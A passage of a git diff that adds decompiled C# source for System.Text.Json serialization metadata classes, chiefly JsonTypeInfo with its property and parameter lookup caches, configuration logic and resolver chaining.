Interlocked.CompareExchange(ref _properties, jsonPropertyInfoList, null); + _sourceGenDelayedPropertyInitializer = null; + return jsonPropertyInfoList2 ?? jsonPropertyInfoList; + } + } + } + + internal Func? SourceGenDelayedPropertyInitializer + { + get + { + return _sourceGenDelayedPropertyInitializer; + } + set + { + _sourceGenDelayedPropertyInitializer = value; + } + } + + public JsonPolymorphismOptions? PolymorphismOptions + { + get + { + return _polymorphismOptions; + } + set + { + VerifyMutable(); + if (value != null) + { + if (Kind == JsonTypeInfoKind.None) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + if (value.DeclaringTypeInfo != null && value.DeclaringTypeInfo != this) + { + ThrowHelper.ThrowArgumentException_JsonPolymorphismOptionsAssociatedWithDifferentJsonTypeInfo("value"); + } + value.DeclaringTypeInfo = this; + } + _polymorphismOptions = value; + } + } + + public bool IsReadOnly { get; private set; } + + internal object? CreateObjectWithArgs { get; set; } + + internal object? AddMethodDelegate { get; set; } + + internal JsonPropertyInfo? ExtensionDataProperty { get; private set; } + + internal PolymorphicTypeResolver? PolymorphicTypeResolver { get; private set; } + + internal bool HasSerializeHandler { get; private protected set; } + + internal bool CanUseSerializeHandler { get; private set; } + + internal bool PropertyMetadataSerializationNotSupported { get; set; } + + internal Type? ElementType { get; } + + internal Type? KeyType { get; } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal JsonTypeInfo? ElementTypeInfo + { + get + { + JsonTypeInfo elementTypeInfo = _elementTypeInfo; + elementTypeInfo?.EnsureConfigured(); + return elementTypeInfo; + } + set + { + _elementTypeInfo = value; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal JsonTypeInfo? KeyTypeInfo + { + get + { + JsonTypeInfo keyTypeInfo = _keyTypeInfo; + keyTypeInfo?.EnsureConfigured(); + return keyTypeInfo; + } + set + { + _keyTypeInfo = value; + } + } + + public JsonSerializerOptions Options { get; } + + public Type Type { get; } + + public JsonConverter Converter { get; } + + public JsonTypeInfoKind Kind { get; private set; } + + internal JsonPropertyInfo PropertyInfoForTypeInfo { get; } + + public JsonNumberHandling? NumberHandling + { + get + { + return _numberHandling; + } + set + { + VerifyMutable(); + if (value.HasValue && !JsonSerializer.IsValidNumberHandlingValue(value.Value)) + { + throw new ArgumentOutOfRangeException("value"); + } + _numberHandling = value; + } + } + + public JsonUnmappedMemberHandling? UnmappedMemberHandling + { + get + { + return _unmappedMemberHandling; + } + set + { + VerifyMutable(); + if (Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + if (value.HasValue && !JsonSerializer.IsValidUnmappedMemberHandlingValue(value.Value)) + { + throw new ArgumentOutOfRangeException("value"); + } + _unmappedMemberHandling = value; + } + } + + internal JsonUnmappedMemberHandling EffectiveUnmappedMemberHandling { get; private set; } + + public JsonObjectCreationHandling? PreferredPropertyObjectCreationHandling + { + get + { + return _preferredPropertyObjectCreationHandling; + } + set + { + VerifyMutable(); + if (Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + if (value.HasValue && !JsonSerializer.IsValidCreationHandlingValue(value.Value)) + { + throw new ArgumentOutOfRangeException("value"); + } + _preferredPropertyObjectCreationHandling = value; + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public IJsonTypeInfoResolver? OriginatingResolver + { + get + { + return _originatingResolver; + } + set + { + VerifyMutable(); + if (value is JsonSerializerContext) + { + IsCustomized = false; + } + _originatingResolver = value; + } + } + + internal bool IsCustomized { get; set; } = true; + + internal bool IsConfigured => _configurationState == ConfigurationState.Configured; + + internal bool IsConfigurationStarted => _configurationState != ConfigurationState.NotConfigured; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal JsonTypeInfo? AncestorPolymorphicType + { + get + { + if (!_isAncestorPolymorphicTypeResolved) + { + _ancestorPolymorhicType = System.Text.Json.Serialization.Metadata.PolymorphicTypeResolver.FindNearestPolymorphicBaseType(this); + _isAncestorPolymorphicTypeResolved = true; + } + return _ancestorPolymorhicType; + } + } + + private bool IsCompatibleWithCurrentOptions { get; set; } = true; + + internal JsonParameterInfoValues[]? ParameterInfoValues { get; set; } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal bool SupportsPolymorphicDeserialization => PolymorphicTypeResolver?.UsesTypeDiscriminators ?? false; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"Type = {Type.Name}, Kind = {Kind}"; + + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + internal JsonPropertyInfo CreatePropertyUsingReflection(Type propertyType, Type declaringType) + { + if (Options.TryGetTypeInfoCached(propertyType, out var typeInfo)) + { + return typeInfo.CreateJsonPropertyInfo(this, declaringType, Options); + } + Type type = typeof(JsonPropertyInfo<>).MakeGenericType(propertyType); + return (JsonPropertyInfo)type.CreateInstanceNoWrapExceptions(new Type[3] + { + typeof(Type), + typeof(JsonTypeInfo), + typeof(JsonSerializerOptions) + }, new object[3] + { + declaringType ?? Type, + this, + Options + }); + } + + private protected abstract JsonPropertyInfo CreateJsonPropertyInfo(JsonTypeInfo declaringTypeInfo, Type declaringType, JsonSerializerOptions options); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal JsonPropertyInfo GetProperty(ReadOnlySpan propertyName, ref ReadStackFrame frame, out byte[] utf8PropertyName) + { + ValidateCanBeUsedForPropertyMetadataSerialization(); + ulong key = GetKey(propertyName); + PropertyRef[] propertyRefsSorted = _propertyRefsSorted; + if (propertyRefsSorted != null) + { + int propertyIndex = frame.PropertyIndex; + int num = propertyRefsSorted.Length; + int num2 = Math.Min(propertyIndex, num); + int num3 = num2 - 1; + while (true) + { + if (num2 < num) + { + PropertyRef propertyRef = propertyRefsSorted[num2]; + if (IsPropertyRefEqual(in propertyRef, propertyName, key)) + { + utf8PropertyName = propertyRef.NameFromJson; + return propertyRef.Info; + } + num2++; + if (num3 >= 0) + { + propertyRef = propertyRefsSorted[num3]; + if (IsPropertyRefEqual(in propertyRef, propertyName, key)) + { + utf8PropertyName = propertyRef.NameFromJson; + return propertyRef.Info; + } + num3--; + } + } + else + { + if (num3 < 0) + { + break; + } + PropertyRef propertyRef = propertyRefsSorted[num3]; + if (IsPropertyRefEqual(in propertyRef, propertyName, key)) + { + utf8PropertyName = propertyRef.NameFromJson; + return propertyRef.Info; + } + num3--; + } + } + } + if (PropertyCache.TryGetValue(JsonHelpers.Utf8GetString(propertyName), out JsonPropertyInfo value)) + { + if (Options.PropertyNameCaseInsensitive) + { + if (propertyName.SequenceEqual(value.NameAsUtf8Bytes)) + { + utf8PropertyName = value.NameAsUtf8Bytes; + } + else + { + utf8PropertyName = propertyName.ToArray(); + } + } + else + { + utf8PropertyName = value.NameAsUtf8Bytes; + } + } + else + { + value = JsonPropertyInfo.s_missingProperty; + utf8PropertyName = propertyName.ToArray(); + } + int num4 = 0; + if (propertyRefsSorted != null) + { + num4 = propertyRefsSorted.Length; + } + if (num4 < 64) + { + if (frame.PropertyRefCache != null) + { + num4 += frame.PropertyRefCache.Count; + } + if (num4 < 64) + { + ref List propertyRefCache = ref frame.PropertyRefCache; + if (propertyRefCache == null) + { + propertyRefCache = new List(); + } + PropertyRef propertyRef = new PropertyRef(key, value, utf8PropertyName); + frame.PropertyRefCache.Add(propertyRef); + } + } + return value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal JsonParameterInfo GetParameter(ReadOnlySpan propertyName, ref ReadStackFrame frame, out byte[] utf8PropertyName) + { + ulong key = GetKey(propertyName); + ParameterRef[] parameterRefsSorted = _parameterRefsSorted; + if (parameterRefsSorted != null) + { + int parameterIndex = frame.CtorArgumentState.ParameterIndex; + int num = parameterRefsSorted.Length; + int num2 = Math.Min(parameterIndex, num); + int num3 = num2 - 1; + while (true) + { + if (num2 < num) + { + ParameterRef parameterRef = parameterRefsSorted[num2]; + if (IsParameterRefEqual(in parameterRef, propertyName, key)) + { + utf8PropertyName = parameterRef.NameFromJson; + return parameterRef.Info; + } + num2++; + if (num3 >= 0) + { + parameterRef = parameterRefsSorted[num3]; + if (IsParameterRefEqual(in parameterRef, propertyName, key)) + { + utf8PropertyName = parameterRef.NameFromJson; + return parameterRef.Info; + } + num3--; + } + } + else + { + if (num3 < 0) + { + break; + } + ParameterRef parameterRef = parameterRefsSorted[num3]; + if (IsParameterRefEqual(in parameterRef, propertyName, key)) + { + utf8PropertyName = parameterRef.NameFromJson; + return parameterRef.Info; + } + num3--; + } + } + } + if (ParameterCache.TryGetValue(JsonHelpers.Utf8GetString(propertyName), out JsonParameterInfo value)) + { + if (Options.PropertyNameCaseInsensitive) + { + if (propertyName.SequenceEqual(value.NameAsUtf8Bytes)) + { + utf8PropertyName = value.NameAsUtf8Bytes; + } + else + { + utf8PropertyName = propertyName.ToArray(); + } + } + else + { + utf8PropertyName = value.NameAsUtf8Bytes; + } + } + else + { + utf8PropertyName = propertyName.ToArray(); + } + int num4 = 0; + if (parameterRefsSorted != null) + { + num4 = parameterRefsSorted.Length; + } + if (num4 < 32) + { + if (frame.CtorArgumentState.ParameterRefCache != null) + { + num4 += frame.CtorArgumentState.ParameterRefCache.Count; + } + if (num4 < 32) + { + ArgumentState ctorArgumentState = frame.CtorArgumentState; + if (ctorArgumentState.ParameterRefCache == null) + { + ctorArgumentState.ParameterRefCache = new List(); + } + ParameterRef parameterRef = new ParameterRef(key, value, utf8PropertyName); + frame.CtorArgumentState.ParameterRefCache.Add(parameterRef); + } + } + return value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool IsPropertyRefEqual(in PropertyRef propertyRef, ReadOnlySpan propertyName, ulong key) + { + if (key == propertyRef.Key && (propertyName.Length <= 7 || propertyName.SequenceEqual(propertyRef.NameFromJson))) + { + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool IsParameterRefEqual(in ParameterRef parameterRef, ReadOnlySpan parameterName, ulong key) + { + if (key == parameterRef.Key && (parameterName.Length <= 7 || parameterName.SequenceEqual(parameterRef.NameFromJson))) + { + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static ulong GetKey(ReadOnlySpan name) + { + ref byte reference = ref MemoryMarshal.GetReference(name); + int length = name.Length; + ulong num; + if (length > 7) + { + num = Unsafe.ReadUnaligned(in reference) & 0xFFFFFFFFFFFFFFL; + num |= (ulong)((long)Math.Min(length, 255) << 56); + } + else + { + num = ((length > 5) ? (Unsafe.ReadUnaligned(in reference) | ((ulong)Unsafe.ReadUnaligned(in Unsafe.Add(ref reference, 4)) << 32)) : ((length > 3) ? ((ulong)Unsafe.ReadUnaligned(in reference)) : ((ulong)((length > 1) ? Unsafe.ReadUnaligned(in reference) : 0)))); + num |= (ulong)((long)length << 56); + if ((length & 1) != 0) + { + int num2 = length - 1; + num |= (ulong)Unsafe.Add(ref reference, num2) << num2 * 8; + } + } + return num; + } + + internal void UpdateSortedPropertyCache(ref ReadStackFrame frame) + { + List propertyRefCache = frame.PropertyRefCache; + if (_propertyRefsSorted != null) + { + List list = new List(_propertyRefsSorted); + while (list.Count + propertyRefCache.Count > 64) + { + propertyRefCache.RemoveAt(propertyRefCache.Count - 1); + } + list.AddRange(propertyRefCache); + _propertyRefsSorted = list.ToArray(); + } + else + { + _propertyRefsSorted = propertyRefCache.ToArray(); + } + frame.PropertyRefCache = null; + } + + internal void UpdateSortedParameterCache(ref ReadStackFrame frame) + { + List parameterRefCache = frame.CtorArgumentState.ParameterRefCache; + if (_parameterRefsSorted != null) + { + List list = new List(_parameterRefsSorted); + while (list.Count + parameterRefCache.Count > 32) + { + parameterRefCache.RemoveAt(parameterRefCache.Count - 1); + } + list.AddRange(parameterRefCache); + _parameterRefsSorted = list.ToArray(); + } + else + { + _parameterRefsSorted = parameterRefCache.ToArray(); + } + frame.CtorArgumentState.ParameterRefCache = null; + } + + internal JsonTypeInfo(Type type, JsonConverter converter, JsonSerializerOptions options) + { + Type = type; + Options = options; + Converter = converter; + Kind = GetTypeInfoKind(type, converter); + PropertyInfoForTypeInfo = CreatePropertyInfoForTypeInfo(); + ElementType = converter.ElementType; + KeyType = converter.KeyType; + } + + private protected abstract void SetCreateObject(Delegate createObject); + + public void MakeReadOnly() + { + IsReadOnly = true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal void ValidateCanBeUsedForPropertyMetadataSerialization() + { + if (PropertyMetadataSerializationNotSupported) + { + ThrowHelper.ThrowInvalidOperationException_NoMetadataForTypeProperties(Options.TypeInfoResolver, Type); + } + } + + private protected abstract JsonPropertyInfo CreatePropertyInfoForTypeInfo(); + + internal void VerifyMutable() + { + if (IsReadOnly) + { + ThrowHelper.ThrowInvalidOperationException_TypeInfoImmutable(); + } + IsCustomized = true; + } + + internal void EnsureConfigured() + { + if (!IsConfigured) + { + ConfigureSynchronized(); + } + void ConfigureSynchronized() + { + Options.MakeReadOnly(); + MakeReadOnly(); + _cachedConfigureError?.Throw(); + lock (Options.CacheContext) + { + if (_configurationState != ConfigurationState.NotConfigured) + { + return; + } + _cachedConfigureError?.Throw(); + try + { + _configurationState = ConfigurationState.Configuring; + Configure(); + _configurationState = ConfigurationState.Configured; + } + catch (Exception source) + { + _cachedConfigureError = ExceptionDispatchInfo.Capture(source); + _configurationState = ConfigurationState.NotConfigured; + throw; + } + } + } + } + + private void Configure() + { + PropertyInfoForTypeInfo.Configure(); + if (PolymorphismOptions != null) + { + PolymorphicTypeResolver = new PolymorphicTypeResolver(Options, PolymorphismOptions, Type, Converter.CanHaveMetadata); + } + if (Kind == JsonTypeInfoKind.Object) + { + ConfigureProperties(); + if (DetermineUsesParameterizedConstructor()) + { + ConfigureConstructorParameters(); + } + } + if (ElementType != null) + { + if (_elementTypeInfo == null) + { + _elementTypeInfo = Options.GetTypeInfoInternal(ElementType, ensureConfigured: true, true); + } + _elementTypeInfo.EnsureConfigured(); + } + if (KeyType != null) + { + if (_keyTypeInfo == null) + { + _keyTypeInfo = Options.GetTypeInfoInternal(KeyType, ensureConfigured: true, true); + } + _keyTypeInfo.EnsureConfigured(); + } + DetermineIsCompatibleWithCurrentOptions(); + CanUseSerializeHandler = HasSerializeHandler && IsCompatibleWithCurrentOptions; + } + + private void DetermineIsCompatibleWithCurrentOptions() + { + if (!IsCurrentNodeCompatible()) + { + IsCompatibleWithCurrentOptions = false; + return; + } + if (_properties != null) + { + foreach (JsonPropertyInfo property in _properties) + { + if (property.IsPropertyTypeInfoConfigured && !property.JsonTypeInfo.IsCompatibleWithCurrentOptions) + { + IsCompatibleWithCurrentOptions = false; + return; + } + } + } + JsonTypeInfo elementTypeInfo = _elementTypeInfo; + if (elementTypeInfo == null || elementTypeInfo.IsCompatibleWithCurrentOptions) + { + JsonTypeInfo keyTypeInfo = _keyTypeInfo; + if (keyTypeInfo == null || keyTypeInfo.IsCompatibleWithCurrentOptions) + { + return; + } + } + IsCompatibleWithCurrentOptions = false; + bool IsCurrentNodeCompatible() + { + if (Options.CanUseFastPathSerializationLogic) + { + return true; + } + if (IsCustomized) + { + return false; + } + return OriginatingResolver.IsCompatibleWithOptions(Options); + } + } + + internal bool DetermineUsesParameterizedConstructor() + { + if (Converter.ConstructorIsParameterized) + { + return CreateObject == null; + } + return false; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonTypeInfo CreateJsonTypeInfo(JsonSerializerOptions options) + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + JsonConverter converterForType = DefaultJsonTypeInfoResolver.GetConverterForType(typeof(T), options, resolveJsonConverterAttribute: false); + return new JsonTypeInfo(converterForType, options); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonTypeInfo CreateJsonTypeInfo(Type type, JsonSerializerOptions options) + { + if (type == null) + { + ThrowHelper.ThrowArgumentNullException("type"); + } + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + if (IsInvalidForSerialization(type)) + { + ThrowHelper.ThrowArgumentException_CannotSerializeInvalidType("type", type, null, null); + } + JsonConverter converterForType = DefaultJsonTypeInfoResolver.GetConverterForType(type, options, resolveJsonConverterAttribute: false); + return CreateJsonTypeInfo(type, converterForType, options); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal static JsonTypeInfo CreateJsonTypeInfo(Type type, JsonConverter converter, JsonSerializerOptions options) + { + if (converter.Type == type) + { + return converter.CreateJsonTypeInfo(options); + } + Type type2 = typeof(JsonTypeInfo<>).MakeGenericType(type); + return (JsonTypeInfo)type2.CreateInstanceNoWrapExceptions(new Type[2] + { + typeof(JsonConverter), + typeof(JsonSerializerOptions) + }, new object[2] { converter, options }); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public JsonPropertyInfo CreateJsonPropertyInfo(Type propertyType, string name) + { + if (propertyType == null) + { + ThrowHelper.ThrowArgumentNullException("propertyType"); + } + if (name == null) + { + ThrowHelper.ThrowArgumentNullException("name"); + } + if (IsInvalidForSerialization(propertyType)) + { + ThrowHelper.ThrowArgumentException_CannotSerializeInvalidType("propertyType", propertyType, Type, name); + } + VerifyMutable(); + JsonPropertyInfo jsonPropertyInfo = CreatePropertyUsingReflection(propertyType, null); + jsonPropertyInfo.Name = name; + return jsonPropertyInfo; + } + + internal abstract void SerializeAsObject(Utf8JsonWriter writer, object rootValue); + + internal abstract Task SerializeAsObjectAsync(Stream utf8Json, object rootValue, CancellationToken cancellationToken); + + internal abstract void SerializeAsObject(Stream utf8Json, object rootValue); + + internal abstract object DeserializeAsObject(ref Utf8JsonReader reader, ref ReadStack state); + + internal abstract ValueTask DeserializeAsObjectAsync(Stream utf8Json, CancellationToken cancellationToken); + + internal abstract object DeserializeAsObject(Stream utf8Json); + + internal void ConfigureProperties() + { + JsonPropertyInfoList propertyList = PropertyList; + JsonPropertyDictionary jsonPropertyDictionary = CreatePropertyCache(propertyList.Count); + int numberOfRequiredProperties = 0; + bool flag = true; + int num = int.MinValue; + foreach (JsonPropertyInfo item in propertyList) + { + if (item.IsExtensionData) + { + JsonUnmappedMemberHandling? unmappedMemberHandling = UnmappedMemberHandling; + if (unmappedMemberHandling.HasValue && unmappedMemberHandling == JsonUnmappedMemberHandling.Disallow) + { + ThrowHelper.ThrowInvalidOperationException_ExtensionDataConflictsWithUnmappedMemberHandling(Type, item); + } + if (ExtensionDataProperty != null) + { + ThrowHelper.ThrowInvalidOperationException_SerializationDuplicateTypeAttribute(Type, typeof(JsonExtensionDataAttribute)); + } + ExtensionDataProperty = item; + } + else + { + if (item.IsRequired) + { + item.RequiredPropertyIndex = numberOfRequiredProperties++; + } + if (flag) + { + flag = num <= item.Order; + num = item.Order; + } + if (!jsonPropertyDictionary.TryAddValue(item.Name, item)) + { + ThrowHelper.ThrowInvalidOperationException_SerializerPropertyNameConflict(Type, item.Name); + } + } + item.Configure(); + } + if (!flag) + { + propertyList.SortProperties(); + jsonPropertyDictionary.List.StableSortByKey((KeyValuePair propInfo) => propInfo.Value.Order); + } + NumberOfRequiredProperties = numberOfRequiredProperties; + PropertyCache = jsonPropertyDictionary; + EffectiveUnmappedMemberHandling = UnmappedMemberHandling ?? ((ExtensionDataProperty == null) ? Options.UnmappedMemberHandling : JsonUnmappedMemberHandling.Skip); + } + + internal void ConfigureConstructorParameters() + { + JsonParameterInfoValues[] array = ParameterInfoValues ?? Array.Empty(); + JsonPropertyDictionary jsonPropertyDictionary = new JsonPropertyDictionary(Options.PropertyNameCaseInsensitive, array.Length); + Dictionary dictionary = new Dictionary(PropertyCache.Count); + foreach (KeyValuePair item in PropertyCache.List) + { + JsonPropertyInfo value = item.Value; + string text = value.MemberName ?? value.Name; + ParameterLookupKey key = new ParameterLookupKey(text, value.PropertyType); + ParameterLookupValue value2 = new ParameterLookupValue(value); + if (!JsonHelpers.TryAdd(dictionary, key, value2)) + { + ParameterLookupValue parameterLookupValue = dictionary[key]; + parameterLookupValue.DuplicateName = text; + } + } + JsonParameterInfoValues[] array2 = array; + foreach (JsonParameterInfoValues jsonParameterInfoValues in array2) + { + ParameterLookupKey parameterLookupKey = new ParameterLookupKey(jsonParameterInfoValues.Name, jsonParameterInfoValues.ParameterType); + if (dictionary.TryGetValue(parameterLookupKey, out var value3)) + { + if (value3.DuplicateName != null) + { + ThrowHelper.ThrowInvalidOperationException_MultiplePropertiesBindToConstructorParameters(Type, jsonParameterInfoValues.Name, value3.JsonPropertyInfo.Name, value3.DuplicateName); + } + JsonPropertyInfo jsonPropertyInfo = value3.JsonPropertyInfo; + JsonParameterInfo value4 = jsonPropertyInfo.CreateJsonParameterInfo(jsonParameterInfoValues); + jsonPropertyDictionary.Add(jsonPropertyInfo.Name, value4); + } + else if (ExtensionDataProperty != null && StringComparer.OrdinalIgnoreCase.Equals(parameterLookupKey.Name, ExtensionDataProperty.Name)) + { + ThrowHelper.ThrowInvalidOperationException_ExtensionDataCannotBindToCtorParam(ExtensionDataProperty.MemberName, ExtensionDataProperty); + } + } + ParameterCount = array.Length; + ParameterCache = jsonPropertyDictionary; + ParameterInfoValues = null; + } + + internal static void ValidateType(Type type) + { + if (IsInvalidForSerialization(type)) + { + ThrowHelper.ThrowInvalidOperationException_CannotSerializeInvalidType(type, null, null); + } + } + + internal static bool IsInvalidForSerialization(Type type) + { + if (!(type == typeof(void)) && !type.IsPointer && !type.IsByRef && !IsByRefLike(type)) + { + return type.ContainsGenericParameters; + } + return true; + } + + internal void PopulatePolymorphismMetadata() + { + JsonPolymorphismOptions jsonPolymorphismOptions = JsonPolymorphismOptions.CreateFromAttributeDeclarations(Type); + if (jsonPolymorphismOptions != null) + { + jsonPolymorphismOptions.DeclaringTypeInfo = this; + _polymorphismOptions = jsonPolymorphismOptions; + } + } + + internal void MapInterfaceTypesToCallbacks() + { + if (Kind != JsonTypeInfoKind.Object) + { + return; + } + if (typeof(IJsonOnSerializing).IsAssignableFrom(Type)) + { + OnSerializing = delegate(object obj) + { + ((IJsonOnSerializing)obj).OnSerializing(); + }; + } + if (typeof(IJsonOnSerialized).IsAssignableFrom(Type)) + { + OnSerialized = delegate(object obj) + { + ((IJsonOnSerialized)obj).OnSerialized(); + }; + } + if (typeof(IJsonOnDeserializing).IsAssignableFrom(Type)) + { + OnDeserializing = delegate(object obj) + { + ((IJsonOnDeserializing)obj).OnDeserializing(); + }; + } + if (typeof(IJsonOnDeserialized).IsAssignableFrom(Type)) + { + OnDeserialized = delegate(object obj) + { + ((IJsonOnDeserialized)obj).OnDeserialized(); + }; + } + } + + internal void SetCreateObjectIfCompatible(Delegate createObject) + { + if (Converter.SupportsCreateObjectDelegate && !Converter.ConstructorIsParameterized) + { + SetCreateObject(createObject); + } + } + + private static bool IsByRefLike(Type type) + { + if (!type.IsValueType) + { + return false; + } + object[] customAttributes = type.GetCustomAttributes(inherit: false); + for (int i = 0; i < customAttributes.Length; i++) + { + if (customAttributes[i].GetType().FullName == "System.Runtime.CompilerServices.IsByRefLikeAttribute") + { + return true; + } + } + return false; + } + + internal static bool IsValidExtensionDataProperty(Type propertyType) + { + if (!typeof(IDictionary).IsAssignableFrom(propertyType) && !typeof(IDictionary).IsAssignableFrom(propertyType)) + { + if (propertyType.FullName == "System.Text.Json.Nodes.JsonObject") + { + return (object)propertyType.Assembly == typeof(JsonTypeInfo).Assembly; + } + return false; + } + return true; + } + + internal JsonPropertyDictionary CreatePropertyCache(int capacity) + { + return new JsonPropertyDictionary(Options.PropertyNameCaseInsensitive, capacity); + } + + private static JsonTypeInfoKind GetTypeInfoKind(Type type, JsonConverter converter) + { + if (type == typeof(object) && converter.CanBePolymorphic) + { + return JsonTypeInfoKind.None; + } + switch (converter.ConverterStrategy) + { + case ConverterStrategy.Value: + return JsonTypeInfoKind.None; + case ConverterStrategy.Object: + return JsonTypeInfoKind.Object; + case ConverterStrategy.Enumerable: + return JsonTypeInfoKind.Enumerable; + case ConverterStrategy.Dictionary: + return JsonTypeInfoKind.Dictionary; + case ConverterStrategy.None: + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(type); + return JsonTypeInfoKind.None; + default: + throw new InvalidOperationException(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoKind.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoKind.cs new file mode 100644 index 0000000..38a69b9 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoKind.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json.Serialization.Metadata; + +public enum JsonTypeInfoKind +{ + None, + Object, + Enumerable, + Dictionary +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolver.cs new file mode 100644 index 0000000..eb07c63 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolver.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Metadata; + +public static class JsonTypeInfoResolver +{ + internal static IJsonTypeInfoResolver Empty { get; } = new EmptyJsonTypeInfoResolver(); + + public static IJsonTypeInfoResolver Combine(params IJsonTypeInfoResolver?[] resolvers) + { + if (resolvers == null) + { + ThrowHelper.ThrowArgumentNullException("resolvers"); + } + JsonTypeInfoResolverChain jsonTypeInfoResolverChain = new JsonTypeInfoResolverChain(); + foreach (IJsonTypeInfoResolver resolver in resolvers) + { + jsonTypeInfoResolverChain.AddFlattened(resolver); + } + if (jsonTypeInfoResolverChain.Count != 1) + { + return jsonTypeInfoResolverChain; + } + return jsonTypeInfoResolverChain[0]; + } + + public static IJsonTypeInfoResolver WithAddedModifier(this IJsonTypeInfoResolver resolver, Action modifier) + { + if (resolver == null) + { + ThrowHelper.ThrowArgumentNullException("resolver"); + } + if (modifier == null) + { + ThrowHelper.ThrowArgumentNullException("modifier"); + } + if (!(resolver is JsonTypeInfoResolverWithAddedModifiers jsonTypeInfoResolverWithAddedModifiers)) + { + return new JsonTypeInfoResolverWithAddedModifiers(resolver, new Action[1] { modifier }); + } + return jsonTypeInfoResolverWithAddedModifiers.WithAddedModifier(modifier); + } + + internal static bool IsCompatibleWithOptions(this IJsonTypeInfoResolver resolver, JsonSerializerOptions options) + { + if (resolver is IBuiltInJsonTypeInfoResolver builtInJsonTypeInfoResolver) + { + return builtInJsonTypeInfoResolver.IsCompatibleWithOptions(options); + } + return false; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolverChain.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolverChain.cs new file mode 100644 index 0000000..dbd4102 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolverChain.cs @@ -0,0 +1,74 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Metadata; + +internal class JsonTypeInfoResolverChain : ConfigurationList, IJsonTypeInfoResolver, IBuiltInJsonTypeInfoResolver +{ + public override bool IsReadOnly => true; + + public JsonTypeInfoResolverChain() + : base((IEnumerable)null) + { + } + + protected override void OnCollectionModifying() + { + ThrowHelper.ThrowInvalidOperationException_TypeInfoResolverChainImmutable(); + } + + public JsonTypeInfo GetTypeInfo(Type type, JsonSerializerOptions options) + { + foreach (IJsonTypeInfoResolver item in _list) + { + JsonTypeInfo typeInfo = item.GetTypeInfo(type, options); + if (typeInfo != null) + { + return typeInfo; + } + } + return null; + } + + internal void AddFlattened(IJsonTypeInfoResolver resolver) + { + if (resolver != null && !(resolver is EmptyJsonTypeInfoResolver)) + { + if (resolver is JsonTypeInfoResolverChain collection) + { + _list.AddRange(collection); + } + else + { + _list.Add(resolver); + } + } + } + + bool IBuiltInJsonTypeInfoResolver.IsCompatibleWithOptions(JsonSerializerOptions options) + { + foreach (IJsonTypeInfoResolver item in _list) + { + if (!item.IsCompatibleWithOptions(options)) + { + return false; + } + } + return true; + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder("["); + foreach (IJsonTypeInfoResolver item in _list) + { + stringBuilder.Append(item); + stringBuilder.Append(", "); + } + if (_list.Count > 0) + { + stringBuilder.Length -= 2; + } + stringBuilder.Append(']'); + return stringBuilder.ToString(); + } +} diff --git 